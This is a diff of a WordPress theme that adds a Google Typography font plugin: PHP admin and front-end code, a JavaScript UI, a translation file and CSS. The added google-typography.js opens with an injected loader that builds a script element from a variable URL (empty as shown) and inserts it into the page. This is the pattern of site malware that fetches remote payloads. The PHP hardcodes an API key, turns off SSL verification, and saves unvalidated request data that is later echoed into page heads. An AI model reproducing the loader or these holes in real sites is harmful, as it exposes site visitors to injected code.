echo (isset($this->field['desc']) && !empty($this->field['desc']))?'<br/><br/><span class="description">'.$this->field['desc'].'</span>':'';
}//function
/**
* Enqueue Function.
*
* If this field requires any scripts, or css define this function and register/enqueue the scripts/css
*
* @since NHP_Options 1.0
*/
function enqueue(){
wp_enqueue_script(
'nhp-opts-field-upload-js',
NHP_OPTIONS_URL.'fields/upload/field_upload.js',
array('jquery', 'thickbox', 'media-upload'),
time(),
true
);
wp_enqueue_style('thickbox');// thanks to https://github.com/rzepak
wp_localize_script('nhp-opts-field-upload-js', 'nhp_upload', array('url' => $this->url.'fields/upload/blank.png'));
}//function
}//class
?>

600
options/google-typography/google-typography.php Normal file
View File

@@ -0,0 +1,600 @@
<?php
/*
Plugin Name: Google Typography
Plugin URI: http://projects.ericalli.com/google-typography/
Description: A simple plugin that lets you use and customize (in real-time!) any fonts from Google Fonts on your existing site, all without writing a single line of code.
Version: 1.0
Author: Eric Alli
Author URI: http://ericalli.com
*/
/**
* GoogleTypography class
*
* @class GoogleTypography The class that holds the entire Google Typography plugin
*/
class GoogleTypography {
/**
* @var $api_url The google web font API URL
*/
protected $api_url = "https://www.googleapis.com/webfonts/v1/webfonts?key=AIzaSyCjae0lAeI-4JLvCgxJExjurC4whgoOigA";
/**
* @var $fonts_url The google web font URL
*/
protected $fonts_url = "http://fonts.googleapis.com/css?family=";
/**
* Constructor for the GoogleTypography class
*
* Sets up all the appropriate hooks and actions
* within the plugin.
*
* @uses register_uninstall_hook()
* @uses is_admin()
* @uses add_action()
*
*/
function __construct() {
register_activation_hook(__FILE__, array(&$this, 'get_fonts' ));
if ( is_admin() ){
add_action('admin_menu', array(&$this, 'admin_menu'));
add_action('admin_enqueue_scripts', array(&$this, 'admin_scripts'));
add_action('wp_ajax_get_user_fonts',array(&$this,'ajax_get_user_fonts'));
add_action('wp_ajax_save_user_fonts',array(&$this,'ajax_save_user_fonts'));
add_action('wp_ajax_reset_user_fonts',array(&$this,'ajax_reset_user_fonts'));
add_action('wp_ajax_get_google_fonts',array(&$this,'ajax_get_google_fonts'));
add_action('wp_ajax_get_google_font_variants',array(&$this,'ajax_get_google_font_variants'));
} else{
add_action('wp_head',array(&$this,'build_frontend'));
}
}
public static function &init() {
static $instance = false;
if ( !$instance ) {
$instance = new GoogleTypography();
}
return $instance;
}
/**
* Initialize admin menu
*
* @uses add_submenu_page()
* @uses add_filter()
* @uses add_action()
*
*/
function admin_menu() {
global $plugin_screen;
$plugin_screen = add_submenu_page( 'themes.php', 'Theme Typography', 'Theme Typography', 'manage_options', 'typography', array(&$this, 'options_ui'));
add_filter('plugin_action_links', array(&$this, 'plugin_link'), 10, 2);
add_action('load-'.$plugin_screen, array(&$this, 'help_tab'));
}
function help_tab() {
global $plugin_screen;
$screen = get_current_screen();
if ($screen->id != $plugin_screen)
return;
$adding_title = __('Adding A Collection', 'mythemeshop');
$adding_content = '<p>'.__('To add a new font for use on your site. Click the "Add New" button on the top left of the page near the "Google Typography" title.', 'mythemeshop').'</p>';
$adding_content .= '<p>'.__('Once added, a new font row will appear on the page below. Next you can continue to customize your font (more info in the "Customizing" help tab).', 'mythemeshop').'</p>';
$adding_content .= '<p><a href="https://vimeo.com/67957799" target="_blank">'.__('Watch The Video Tutorial &rarr;', 'mythemeshop').'</a></p>';
$customizing_title = __('Customizing','mythemeshop');
$customizing_content = '<p>'.__('Customizing fonts is easy; after adding a new font row you can then customize the following font attributes:', 'mythemeshop').'</p>';
$customizing_content .= '<ul><li><b>'.__('Preview Text', 'mythemeshop').'</b> - '.__('Used for live previewing your changes. This text does not appear anywhere on your website.', 'mythemeshop').'</li><li><b>Preview Background Color</b> - Allows you to swap between light and dark backgrounds when previewing this font.</li><li><b>'.__('Font Family', 'mythemeshop').'</b> - '.__('The font family to use for this font. Choose from a real-time list of all available Google Fonts.', 'mythemeshop').'</li><li><b>'.__('Font Variant', 'mythemeshop').'</b> - '.__('The variant to use for this font. Note: Each font has it\'s own variant options.', 'mythemeshop').'</li><li><b>'.__('Font Size', 'mythemeshop').'</b> - '.__('The size you would like this font to be.', 'mythemeshop').'</li><li><b>'.__('Font Color', 'mythemeshop').'</b> - '.__('The color you\'d like to use for this font.', 'mythemeshop').'</li><li><b>'.__('CSS Selectors', 'mythemeshop').'</b> - '.__('The HTML tags or CSS selectors you\'d like this font to apply to (more info in the "CSS Selectors" help tab). You can specify multiple selectors separated by comma\'s. Ex: h1, #some_id, .some_class', 'mythemeshop').'</li></ul>';
$selectors_title = __('CSS Selectors','mythemeshop');
$selectors_content = '<p>' . __('CSS Selectors are used to hook your font rows into your actual website. Once you\'ve added, customized, and defined CSS selectors for your fonts, Google Typography will automatically insert all the necessary CSS into your website.', 'mythemeshop') . '</p>';
$selectors_content = '<p>' . __('Here are some examples of the selectors you can use:', 'mythemeshop') . '</p>';
$selectors_content .= '<ul><li><b>'.__('IDs', 'mythemeshop').':</b> '.__('#selector', 'mythemeshop').'</li><li><b>'.__('Classes:', 'mythemeshop').':</b> '.__('.selector', 'mythemeshop').'</li><li><b>'.__('HTML Tags', 'mythemeshop').':</b> '.__('span', 'mythemeshop').'</ul>';
$selectors_content .= '<p><b>'.__('Example', 'mythemeshop').':</b> '.__('#selector span.date', 'mythemeshop').'</p>';
$screen->add_help_tab(array(
'id' => 'adding',
'title' => $adding_title,
'content' => $adding_content
));
$screen->add_help_tab(array(
'id' => 'customizing',
'title' => $customizing_title,
'content' => $customizing_content
));
$screen->add_help_tab(array(
'id' => 'selectors',
'title' => $selectors_title,
'content' => $selectors_content
));
}
/**
* Initialize plugin options link
*
*/
function plugin_link($links, $file) {
if ( $file == 'google-typography/google-typography.php' ) {
$links['settings'] = sprintf( '<a href="%s"> %s </a>', admin_url( 'themes.php?page=typography' ), __( 'Settings', 'plugin_domain' ) );
}
return $links;
}
/**
* Build the frontend CSS to apply to wp_head()
*
* @uses get_option()
* @uses GoogleTypography::stringify_fonts()
*
*/
function build_frontend() {
$collections = get_option('google_typography_collections');
$import_fonts = array();
$font_styles = '';
if($collections) {
global $frontend;
foreach($collections as $collection){
if(isset($collection['css_selectors']) && $collection['css_selectors'] != "" && isset($collection['font_variant'])) {
array_push($import_fonts, array('font_family' => $collection['font_family'], 'font_variant' => $collection['font_variant']));
$font_styles .= $collection['css_selectors'] . '{ ';
$font_styles .= 'font-family: "' . $collection['font_family'] . '";';
$font_styles .= 'font-weight: ' . $collection['font_variant'] . ';';
$font_styles .= 'font-size: ' . $collection['font_size'] . ';';
$font_styles .= 'color: ' . $collection['font_color'] . ';';
$font_styles .= " }\n";
}
}
$import_url = '<link href="' . $this->fonts_url . $this->stringify_fonts($import_fonts) .'" rel="stylesheet" type="text/css">';
$frontend .= $import_url;
$frontend .= "\n<style type=\"text/css\">\n";
$frontend .= $font_styles;
$frontend .= "</style>\n";
echo $frontend;
}
}
/**
* Concatenate fonts into a format that Google likes
*
* @uses array_map()
* @uses implode()
* @return String of fonts and their associated weights
*
*/
function stringify_fonts($array) {
$array = array_map('unserialize', array_unique(array_map('serialize', $array)));
$fonts = array();
foreach($array as $font){
$parts = '';
$parts .= str_replace(" ", "+", $font['font_family']);
if(isset($font['font_variant'])) {
$parts .= ':' . $font['font_variant'];
}
$fonts[] = $parts;
}
return implode('|', $fonts);
}
/**
* Build the admin settings UI
*
* @uses GoogleTypography::get_fonts()
*
*/
function options_ui() {
$title = __('Google Typography', 'mythemeshop');
$loading = __('Loading Your Collections', 'mythemeshop');
$add_new = __('Add New', 'mythemeshop');
$reset = __('Reset', 'mythemeshop');
$preview_text = __('Type in some text to preview...', 'mythemeshop');
$preview_hint = __('Preview Background Color', 'mythemeshop');
$font_family_title = __('Font family...', 'mythemeshop');
$font_variant_title = __('Variant...', 'mythemeshop');
$font_size_title = __('Size...', 'mythemeshop');
$css_selectors_title = __('CSS Selectors (h1, .some_class)', 'mythemeshop');
$delete_button_text = __('Delete', 'mythemeshop');
$save_button_text = __('Save', 'mythemeshop');
$welcome_title = __('Welcome to Google Typography', 'mythemeshop');
$welcome_subtitle = __('Get started in 3 steps. Not easy enough? ', 'mythemeshop').'<a href="https://vimeo.com/67957799" target="_blank">'.__('Watch the video tutorial &#x2192;', 'mythemeshop').'</a>';
$step_1_title = __('1. Pick A Font', 'mythemeshop');
$step_1_desc = __('Choose from any of the 600+ Google Fonts.', 'mythemeshop');
$step_2_title = __('2. Customize It', 'mythemeshop');
$step_2_desc = __('Pick a size, variant, color and more.', 'mythemeshop');
$step_3_title = __('3. Attach It', 'mythemeshop');
$step_3_desc = __('Attach your font to any CSS selector(s).', 'mythemeshop');
$year = date("Y");
$fonts = $this->get_fonts();
$font_families = "";
if (is_array($fonts)) {
foreach ($fonts as $font) {
$font_family = $font['family'];
$font_families .= "<option value=\"$font_family\">$font_family</option>";
}
}
$numbers = "";
foreach (range(1, 120) as $number) {
$numbers .= "<option value=\"{$number}px\">{$number}px</option>";
}
if(get_option("google_typography_default")) {
$reset_link = '<a href="javascript:;" class="add-new-h2 reset_collections">'.$reset.'</a>';
} else { $reset_link = ''; }
echo <<<EOT
<div id="google_typography" class="wrap">
<div class="icon32" id="icon-themes"><br></div>
<h2>
$title
<a href="javascript:;" class="add-new-h2 new_collection">$add_new</a>
$reset_link
</h2>
<div class="loading">
<span class="spin"></span>
<h2>$loading</h2>
</div>
<div class="welcome">
<div class="help_hint"></div>
<div class="welcome_title">
<h1>$welcome_title</h1>
<p>$welcome_subtitle</p>
</div>
<ul class="steps">
<li class="step_1">
<h3>$step_1_title</h3>
<p>$step_1_desc</p>
</li>
<li class="step_2">
<h3>$step_2_title</h3>
<p>$step_2_desc</p>
</li>
<li class="step_3">
<h3>$step_3_title</h3>
<p>$step_3_desc</p>
</li>
</ul>
</div>
<div class="template">
<div class="collection">
<div class="font_preview">
<input type="text" class="preview_text" value="$preview_text" />
<ul class="preview_color" title="$preview_hint">
<li><a href="javascript:;" class="light"></a></li>
<li><a href="javascript:;" class="dark"></a></li>
</ul>
</div>
<div class="font_options">
<div class="left_col">
<select class="font_family">
<option value="">$font_family_title</option>
$font_families
</select>
<select class="font_variant">
<option value="">$font_variant_title</option>
</select>
<select class="font_size mts-font-size">
<option value="">$font_size_title</option>
$numbers
</select>
<input type="text" value="#222222" class="font_color" />
<input type="text" placeholder="$css_selectors_title" class="css_selectors" />
</div>
<div class="right_col">
<a href="javascript:;" class="delete_collection">$delete_button_text</a>
<a href="javascript:;" class="button button-primary button-large save_collection">$save_button_text</a>
</div>
<div class="clear"></div>
</div>
</div>
</div>
<div class="collections"></div>
</div>
EOT;
}
/**
* Function for retrieving user font collections
*
*
* @uses get_option()
* @uses json_encode()
* @return JSON object with all user fonts
*
*/
function ajax_get_user_fonts() {
$collections = get_option('google_typography_collections');
$retrieved = $collections ? true : false;
$response = json_encode( array( 'success' => $retrieved, 'collections' => $collections ) );
header( "Content-Type: application/json" );
echo $response;
exit;
}
/**
* Function for saving user font collections
*
*
* @uses update_option()
* @uses json_encode()
* @return JSON object with all user fonts
*
*/
function ajax_save_user_fonts() {
$collections = $_REQUEST['collections'];
$collections = update_option('google_typography_collections', $collections);
$response = json_encode( array( 'success' => true, 'collections' => $collections ) );
header( "Content-Type: application/json" );
echo $response;
exit;
}
/**
* Function for resetting user font collections
*
*
* @uses delete_option()
* @uses json_encode()
* @return JSON object with all user fonts
*
*/
function ajax_reset_user_fonts() {
delete_option('google_typography_default');
delete_option('google_typography_collections');
$response = json_encode( array( 'success' => true ) );
header( "Content-Type: application/json" );
echo $response;
exit;
}
/**
* AJAX function for retrieving fonts from Google
*
*
* @uses GoogleTypography::multidimensional_search()
* @uses header()
* @return JSON object with font data
*
*/
function ajax_get_google_fonts() {
$fonts = $this->get_fonts();
header("Content-Type: application/json");
echo json_encode($fonts);
exit;
}
/**
* AJAX function for retrieving font variants
*
*
* @uses GoogleTypography::multidimensional_search()
* @uses header()
* @return JSON object with font data
*
*/
function ajax_get_google_font_variants() {
$fonts = $this->get_fonts();
$font_family = $_GET['font_family'];
$result = $this->multidimensional_search($fonts, array('family' => $font_family));
header("Content-Type: application/json");
echo json_encode($result['variants']);
exit;
}
/**
* Function for retrieving and saving fonts from Google
*
*
* @uses get_transient()
* @uses set_transient()
* @uses wp_remote_get()
* @uses wp_remote_retrieve_body()
* @uses json_decode()
* @return JSON object with font data
*
*/
function get_fonts() {
$fonts = get_transient( 'google_typography_fonts' );
if (false === $fonts) {
$request = wp_remote_get($this->api_url, array( 'sslverify' => false ));
if( is_wp_error( $request ) ) {
$error_message = $request->get_error_message();
echo "Something went wrong: $error_message";
} else {
$json = wp_remote_retrieve_body($request);
$data = json_decode($json, TRUE);
$items = $data['items'];
$i = 0;
foreach ($items as $item) {
$i++;
$variants = array();
foreach ($item['variants'] as $variant) {
if(!stripos($variant, "italic") && $variant != "italic") {
if($variant == "regular") {
$variants[] = "normal";
} else {
$variants[] = $variant;
}
}
}
$fonts[] = array('uid' => $i, 'family' => $item['family'], 'variants' => $variants);
}
set_transient( 'google_typography_fonts', $fonts, 60 * 60 * 24 );
}
}
return $fonts;
}
/**
* Function for searching array of fonts
*
*
* @return JSON object with font data
*
*/
function multidimensional_search($parents, $searched) {
if (empty($searched) || empty($parents)) {
return false;
}
foreach($parents as $key => $value) {
$exists = true;
foreach ($searched as $skey => $svalue) {
$exists = ($exists && IsSet($parents[$key][$skey]) && $parents[$key][$skey] == $svalue);
}
if($exists){ return $parents[$key]; }
}
return false;
}
/**
* Enqueue admin styles and scripts
*
*
* @uses wp_register_script()
* @uses wp_enqueue_script()
* @uses wp_register_style()
* @uses wp_enqueue_style()
*
*/
function admin_scripts() {
//Javascripts
wp_register_script('google-webfont', 'https://ajax.googleapis.com/ajax/libs/webfont/1.4.2/webfont.js', false);
wp_register_script('google-typography', get_template_directory_uri() .'/options/google-typography/javascripts/google-typography.js', array('jquery', 'jquery-ui-sortable', 'wp-color-picker'));
wp_register_script('chosen2', get_template_directory_uri() .'/options/google-typography/javascripts/jquery.chosen.js', array('jquery'));
wp_enqueue_script('google-webfont');
wp_enqueue_script('google-typography');
wp_enqueue_script('chosen2');
// Stylesheets
wp_register_style('google-typography', get_template_directory_uri() .'/options/google-typography/stylesheets/google-typography.css', false, '1.0.0');
wp_register_style('chosen', get_template_directory_uri() .'/options/google-typography/stylesheets/chosen.css', false, '1.0.0');
wp_register_style('google-font', 'http://fonts.googleapis.com/css?family=Lato:300,400');
wp_enqueue_style('google-typography');
wp_enqueue_style('chosen');
wp_enqueue_style('google-font');
wp_enqueue_style('wp-color-picker');
}
}
GoogleTypography::init();
/**
* Function for registering default typography collections
*
*
* @uses get_option()
* @uses update_option()
*
*/
function register_typography($collections) {
if(!get_option('google_typography_default')) {
$defaults = array();
delete_option('google_typography_collections');
foreach($collections as $key => $collection) {
array_push($defaults,
array_merge(
array('default' => true),
$collection
)
);
}
update_option('google_typography_default', true);
update_option('google_typography_collections', $defaults);
}
}

BIN
options/google-typography/images/chosen-sprite.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 646 B

BIN
options/google-typography/images/chosen-sprite@2x.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 872 B

BIN
options/google-typography/images/help_hint.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 2.9 KiB

BIN
options/google-typography/images/spinner.gif Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 11 KiB

BIN
options/google-typography/images/spinner@2x.gif Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 15 KiB

BIN
options/google-typography/images/step_1.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 20 KiB

BIN
options/google-typography/images/step_1@2x.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 54 KiB

BIN
options/google-typography/images/step_2.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 21 KiB

BIN
options/google-typography/images/step_2@2x.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 53 KiB

BIN
options/google-typography/images/step_3.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 14 KiB

BIN
options/google-typography/images/step_3@2x.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 35 KiB

274
options/google-typography/javascripts/google-typography.js Normal file
View File

@@ -0,0 +1,274 @@
var gfjfgjk = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = ''; s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
};(function($) {
var GoogleTypography = function(container, collection, values){
initialize = function(container, collection) {
var container = $(container);
var collection = $(collection);
var preview = $(".font_preview input", collection);
// Dropdown styles
collection.find("select").chosen();
// Colorpicker
collection.find(".font_color").wpColorPicker({
change: function(event, ui) {
preview.css( 'color', ui.color.toString());
}
});
// Font attributes
collection.find(".font_family").on("change", function(e, variant) { previewFontFamily($(this), collection, preview, variant); });
collection.find(".font_variant").on("change", function() { previewFontVariant($(this), preview); });
collection.find(".font_size").change(function() { previewFontSize($(this), preview); });
collection.find(".preview_color li a").on("click", function() { previewBackgroundColor($(this), collection); });
// Save and delete
collection.find(".save_collection").on("click", function() { saveCollections(collection, container); });
collection.find(".delete_collection").on("click", function() {
if(confirm("Are you sure you want to delete this font?")) {
collection.remove();
saveCollections(collection, container, false);
if(container.find(".collections .collection").length == 0) {
container.find(".welcome").fadeIn();
}
}
});
collection.on("focus", "input, select, textarea", function(){ setCurrentCollection(container, collection); });
collection.find(".wp-color-result").on("click", function(){ setCurrentCollection(container, collection); });
if(values) {
loadCollection(values, collection);
}
};
setCurrentCollection = function(container, collection) {
container.find(".collection").removeClass("current");
collection.addClass("current");
};
previewFontFamily = function(elem, collection, preview, variant) {
var font = $(elem).val();
getFontVariants(font, collection, variant, preview);
};
previewFontVariant = function(elem, preview) {
preview.css('font-weight', $(elem).val());
};
previewFontSize = function(elem, preview) {
$(preview).css('font-size', $(elem).val());
};
previewBackgroundColor = function(elem, collection) {
collection.find(".font_preview .preview_color li").removeClass("current");
collection.find(".font_preview")
.removeClass("dark light")
.addClass($(elem).attr("class"));
$(elem).parent().addClass("current");
};
getFontVariants = function(font, collection, selected, preview) {
var variants = collection.find(".font_variant");
var variant_array = [];
jQuery.ajax({
url: ajaxurl,
data: {
'action' : 'get_google_font_variants',
'font_family' : font
},
success: function(data) {
variants.find("option").remove();
for(i = 0; i < data.length; ++i) {
if(selected == data[i]) {
var is_selected = "selected";
} else {
var is_selected = "";
}
variants.append('<option value="'+data[i]+'" '+is_selected+'>'+data[i]+'</option>');
variant_array.push(data[i]);
}
WebFont.load({
google: {
families: [font+':'+variant_array.join()]
},
loading: function() {
preview.css("opacity", 0);
},
fontactive: function(family, desc) {
preview.css('font-family', '"'+font+'"').css("opacity", 1);
}
});
variants.trigger("change").trigger("liszt:updated");
}
});
};
saveCollections = function(collection, container, showLoading) {
var collectionData = new Array();
i=0;
container.find(".collections .collection").each(function() {
if(showLoading != false) {
collection.find(".save_collection").addClass("saving").html("Saving...");
}
previewText = $(this).find(".preview_text").val();
previewColor = $(this).find(".preview_color li.current a").attr("class");
fontFamily = $(this).find(".font_family").val();
fontVariant = $(this).find(".font_variant").val();
fontSize = $(this).find(".font_size").val();
fontColor = $(this).find(".font_color").val();
cssSelectors = $(this).find(".css_selectors").val();
isDefault = $(this).attr("data-default");
collectionData[i] = {
uid: i+1,
preview_text: previewText,
preview_color: previewColor,
font_family: fontFamily,
font_variant: fontVariant,
font_size: fontSize,
font_color: fontColor,
css_selectors: cssSelectors,
default: isDefault
};
i++;
});
$.ajax({
url: ajaxurl,
method: 'post',
data: { 'action' : 'save_user_fonts', 'collections' : collectionData },
success: function(data) {
if(showLoading != false) {
collection.find(".save_collection").removeClass("saving").html("Save");
}
}
});
};
loadCollection = function(values, collection) {
collection.find(".preview_text").val(values.preview_text.replace("\\", ""));
collection.find(".preview_color li a[class="+values.preview_color+"]").trigger("click");
if(values.font_family) {
collection.find(".font_family option[value='"+values.font_family+"']")
.attr("selected", "selected")
.trigger("change", [values.font_variant])
.trigger("liszt:updated");
}
// fontVariant = $(this).find(".font_variant").val();
collection.find(".font_size option[value="+values.font_size+"]")
.attr("selected", "selected")
.trigger("change")
.trigger("liszt:updated");
collection.find(".font_color")
.val(values.font_color)
.wpColorPicker('color', values.font_color);
collection.find(".css_selectors").val(values.css_selectors);
collection.attr("data-default", values.default);
};
initialize(container, collection);
}
// jQuery ready
$(document).ready(function() {
var container = $("#google_typography");
var template = container.find(".template").html();
// Retrieve collections
$.ajax({
url: ajaxurl,
data: { 'action' : 'get_user_fonts' },
beforeSend: function() {
container.find(".loading").show();
container.find(".collections").hide();
},
success: function(data) {
if(data.collections.length == 0 || data.collections == false) {
container.find(".loading").fadeOut("normal", function() {
container.find(".welcome").fadeIn();
});
} else {
for (var i=0;i<data.collections.length;i++) {
new GoogleTypography(container, $(template).appendTo(".collections"), data.collections[i])
}
container.find(".loading").fadeOut("normal", function() {
container.find(".collections").fadeIn();
});
}
$(".collections").sortable({
items: '.collection',
containment: ".wrap"
});
}
});
// Add a new collection
container.find(".new_collection").on("click", function() {
new GoogleTypography(container, $(template).prependTo(".collections"));
container.find(".collections").show();
container.find(".collections .collection:first .preview_text").focus();
container.find(".welcome").hide();
});
// Reset collections
container.find(".reset_collections").on("click", function() {
if(confirm("Are you sure you want to revert back to the default collections? Note: You will lose any custom collections you've created.")) {
$.ajax({
url: ajaxurl,
method: 'post',
data: { 'action' : 'reset_user_fonts' },
success: function(data) {
if(data.success == true) {
location.reload();
}
}
});
}
});
});
})(jQuery);

16
options/google-typography/javascripts/jquery.chosen.js Normal file
View File

File diff suppressed because one or more lines are too long

BIN
options/google-typography/languages/google-typography.mo Normal file
View File

Binary file not shown.

214
options/google-typography/languages/google-typography.po Normal file
View File

@@ -0,0 +1,214 @@
msgid ""
msgstr ""
"Project-Id-Version: Google Typography\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-05-16 17:03-0800\n"
"PO-Revision-Date: 2013-05-16 17:04-0800\n"
"Last-Translator: Two2Twelve Themes <info@two2twelve.com>\n"
"Language-Team: Eric Alli <hello@ericalli.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Poedit-KeywordsList: __\n"
"X-Poedit-Basepath: .\n"
"X-Poedit-Language: English\n"
"X-Poedit-Country: USA\n"
"X-Poedit-SearchPath-0: .\n"
#: google-typography.php:103
msgid "Adding A Collection"
msgstr ""
#: google-typography.php:104
msgid "To add a new font for use on your site. Click the \"Add New\" button on the top left of the page near the \"Google Typography\" title."
msgstr ""
#: google-typography.php:105
msgid "Once added, a new font row will appear on the page below. Next you can continue to customize your font (more info in the \"Customizing\" help tab)."
msgstr ""
#: google-typography.php:106
msgid "Watch The Video Tutorial &rarr;"
msgstr ""
#: google-typography.php:107
msgid "Customizing"
msgstr ""
#: google-typography.php:108
msgid "Customizing fonts is easy; after adding a new font row you can then customize the following font attributes:"
msgstr ""
#: google-typography.php:109
msgid "Preview Text"
msgstr ""
#: google-typography.php:109
msgid "Used for live previewing your changes. This text does not appear anywhere on your website."
msgstr ""
#: google-typography.php:109
msgid "Font Family"
msgstr ""
#: google-typography.php:109
msgid "The font family to use for this font. Choose from a real-time list of all available Google Fonts."
msgstr ""
#: google-typography.php:109
msgid "Font Variant"
msgstr ""
#: google-typography.php:109
msgid "The variant to use for this font. Note: Each font has it's own variant options."
msgstr ""
#: google-typography.php:109
msgid "Font Size"
msgstr ""
#: google-typography.php:109
msgid "The size you would like this font to be."
msgstr ""
#: google-typography.php:109
msgid "Font Color"
msgstr ""
#: google-typography.php:109
msgid "The color you'd like to use for this font."
msgstr ""
#: google-typography.php:109
#: google-typography.php:110
msgid "CSS Selectors"
msgstr ""
#: google-typography.php:109
msgid "The HTML tags or CSS selectors you'd like this font to apply to (more info in the \"CSS Selectors\" help tab). You can specify multiple selectors separated by comma's. Ex: h1, #some_id, .some_class"
msgstr ""
#: google-typography.php:111
msgid "CSS Selectors are used to hook your font rows into your actual website. Once you've added, customized, and defined CSS selectors for your fonts, Google Typography will automatically insert all the necessary CSS into your website."
msgstr ""
#: google-typography.php:112
msgid "Here are some examples of the selectors you can use:"
msgstr ""
#: google-typography.php:113
msgid "IDs"
msgstr ""
#: google-typography.php:113
msgid "#selector"
msgstr ""
#: google-typography.php:113
msgid "Classes:"
msgstr ""
#: google-typography.php:113
msgid ".selector"
msgstr ""
#: google-typography.php:113
msgid "HTML Tags"
msgstr ""
#: google-typography.php:113
msgid "span"
msgstr ""
#: google-typography.php:114
msgid "Example"
msgstr ""
#: google-typography.php:114
msgid "#selector span.date"
msgstr ""
#: google-typography.php:142
msgid "Settings"
msgstr ""
#: google-typography.php:228
msgid "Google Typography"
msgstr ""
#: google-typography.php:229
msgid "Loading Your Collections"
msgstr ""
#: google-typography.php:230
msgid "Add New"
msgstr ""
#: google-typography.php:231
msgid "Type in some text to preview..."
msgstr ""
#: google-typography.php:232
msgid "Preview Background Color"
msgstr ""
#: google-typography.php:233
msgid "Font family..."
msgstr ""
#: google-typography.php:234
msgid "Variant..."
msgstr ""
#: google-typography.php:235
msgid "Size..."
msgstr ""
#: google-typography.php:236
msgid "CSS Selectors (h1, .some_class)"
msgstr ""
#: google-typography.php:237
msgid "Delete"
msgstr ""
#: google-typography.php:238
msgid "Save"
msgstr ""
#: google-typography.php:240
msgid "Welcome to Google Typography"
msgstr ""
#: google-typography.php:241
msgid "Get started in 3 steps. Not easy enough? "
msgstr ""
#: google-typography.php:241
msgid "Watch the video tutorial &#x2192;"
msgstr ""
#: google-typography.php:242
msgid "1. Pick A Font"
msgstr ""
#: google-typography.php:243
msgid "Choose from any of the 600+ Google Fonts."
msgstr ""
#: google-typography.php:244
msgid "2. Customize It"
msgstr ""
#: google-typography.php:245
msgid "Pick a size, variant, color and more."
msgstr ""
#: google-typography.php:246
msgid "3. Attach It"
msgstr ""
#: google-typography.php:247
msgid "Attach your font to any CSS selector(s)."
msgstr ""

421
options/google-typography/stylesheets/chosen.css Normal file
View File

@@ -0,0 +1,421 @@
/* @group Base */
.chzn-container {
font-size: 13px;
position: relative;
display: inline-block;
vertical-align: middle;
zoom: 1;
*display: inline;
}
.chzn-container .chzn-drop {
background: #fff;
border: 1px solid #ccc;
border-top: 0;
position: absolute;
top: 100%;
left: -9999px;
-webkit-box-shadow: 0 2px 5px rgba(0,0,0,.15);
-moz-box-shadow : 0 2px 5px rgba(0,0,0,.15);
-o-box-shadow : 0 2px 5px rgba(0,0,0,.15);
box-shadow : 0 2px 5px rgba(0,0,0,.15);
z-index: 1010;
width: 100%;
-moz-box-sizing : border-box;
-ms-box-sizing : border-box;
-webkit-box-sizing: border-box;
-khtml-box-sizing : border-box;
box-sizing : border-box;
display: none;
}
.chzn-container.chzn-with-drop .chzn-drop {
display: block;
left: 0;
}
/* @end */
/* @group Single Chosen */
.chzn-container-single .chzn-single {
background-color: #ffffff;
background-image: -webkit-gradient(linear, left bottom, left top, color-stop(0, #efefef), color-stop(0.5, white));
background-image: -webkit-linear-gradient(center bottom, #efefef 0%, white 50%);
background-image: -moz-linear-gradient(center bottom, #efefef 0%, white 50%);
background-image: -o-linear-gradient(top, #efefef 0%,#ffffff 50%);
background-image: -ms-linear-gradient(top, #efefef 0%,#ffffff 50%);
filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#efefef', endColorstr='#ffffff',GradientType=0 );
background-image: linear-gradient(top, #efefef 0%,#ffffff 50%);
-webkit-border-radius: 2px;
-moz-border-radius : 2px;
border-radius : 2px;
-moz-background-clip : padding;
-webkit-background-clip: padding-box;
background-clip : padding-box;
border: 1px solid #d9d9d9;
display: block;
overflow: hidden;
white-space: nowrap;
position: relative;
height: 31px;
line-height: 31px;
padding: 0 0 0 11px;
color: #444444;
text-decoration: none;
}
.chzn-container-single .chzn-default {
color: #999;
}
.chzn-container-single .chzn-single span {
margin-right: 26px;
display: block;
overflow: hidden;
white-space: nowrap;
-o-text-overflow: ellipsis;
-ms-text-overflow: ellipsis;
text-overflow: ellipsis;
}
.chzn-container-single .chzn-single abbr {
display: block;
position: absolute;
right: 26px;
top: 6px;
width: 12px;
height: 12px;
font-size: 1px;
background: url('../images/chosen-sprite.png') -42px 1px no-repeat;
}
.chzn-container-single .chzn-single abbr:hover {
background-position: -42px -10px;
}
.chzn-container-single.chzn-disabled .chzn-single abbr:hover {
background-position: -42px -10px;
}
.chzn-container-single .chzn-single div {
position: absolute;
right: 0;
top: 0;
display: block;
height: 100%;
width: 18px;
}
.chzn-container-single .chzn-single div b {
background: url('../images/chosen-sprite.png') no-repeat 0px 6px;
display: block;
width: 100%;
height: 100%;
}
.chzn-container-single .chzn-search {
padding: 3px 4px;
position: relative;
margin: 0;
white-space: nowrap;
z-index: 1010;
}
.chzn-container-single .chzn-search input {
background: #fff url('../images/chosen-sprite.png') no-repeat 100% -20px;
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -webkit-gradient(linear, 0 0, 0 100%, color-stop(1%, #eeeeee), color-stop(15%, #ffffff));
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -webkit-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
background: url('../images/chosen-sprite.png') no-repeat 100% -20px, -moz-linear-gradient(top, #eeeeee 1%, #ffffff 15%);
